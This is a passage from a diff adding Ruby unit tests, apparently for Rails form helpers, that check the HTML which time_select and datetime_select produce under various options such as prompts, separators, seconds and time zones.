+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on")
+ end
+
+ def test_time_select_with_selected
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 12}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 20}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", selected: Time.local(2004, 6, 15, 12, 20, 30))
+ end
+
+ def test_time_select_with_selected_nil
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="1" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="1" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="1" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", discard_year: true, discard_month: true, discard_day: true, selected: nil)
+ end
+
+ def test_time_select_without_date_hidden_fields
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", :ignore_date => true)
+ end
+
+ def test_time_select_with_seconds
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", :include_seconds => true)
+ end
+
+ def test_time_select_with_html_options
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", {}, :class => 'selector')
+ end
+
+ def test_time_select_with_html_options_within_fields_for
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.time_select(:written_on, {}, :class => 'selector')
+ end
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_time_select_with_separator
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " - "
+
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " - "
+
+ expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", { :time_separator => " - ", :include_seconds => true })
+ end
+
+ def test_time_select_with_default_prompt
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ expected << %(<option value="">Hour</option>\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ expected << %(<option value="">Minute</option>\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", :prompt => true)
+ end
+
+ def test_time_select_with_custom_prompt
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ expected << %(<option value="">Choose hour</option>\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ expected << %(<option value="">Choose minute</option>\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute'})
+ end
+
+ def test_time_select_with_disabled_html_option
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" disabled="disabled" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" disabled="disabled" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" disabled="disabled" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", {}, :disabled => true)
+ end
+
+ def test_datetime_select
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at")
+ end
+
+ def test_datetime_select_with_selected
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3" selected="selected">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12" selected="selected">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30" selected="selected">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :selected => Time.local(2004, 3, 10, 12, 30))
+ end
+
+ def test_datetime_select_with_selected_nil
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+ expected = '<input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="1"/>' + "\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", discard_year: true, selected: nil)
+ end
+
+ def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
+ # The love zone is UTC+0
+ mytz = Class.new(ActiveSupport::TimeZone) {
+ attr_accessor :now
+ }.create('tenderlove', 0)
+
+ now = Time.mktime(2004, 6, 15, 16, 35, 0)
+ mytz.now = now
+ Time.zone = mytz
+
+ assert_equal mytz, Time.zone
+
+ @post = Post.new
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at")
+ ensure
+ Time.zone = nil
+ end
+
+ def test_datetime_select_with_html_options_within_fields_for
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.datetime_select(:updated_at, {}, :class => 'selector')
+ end
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
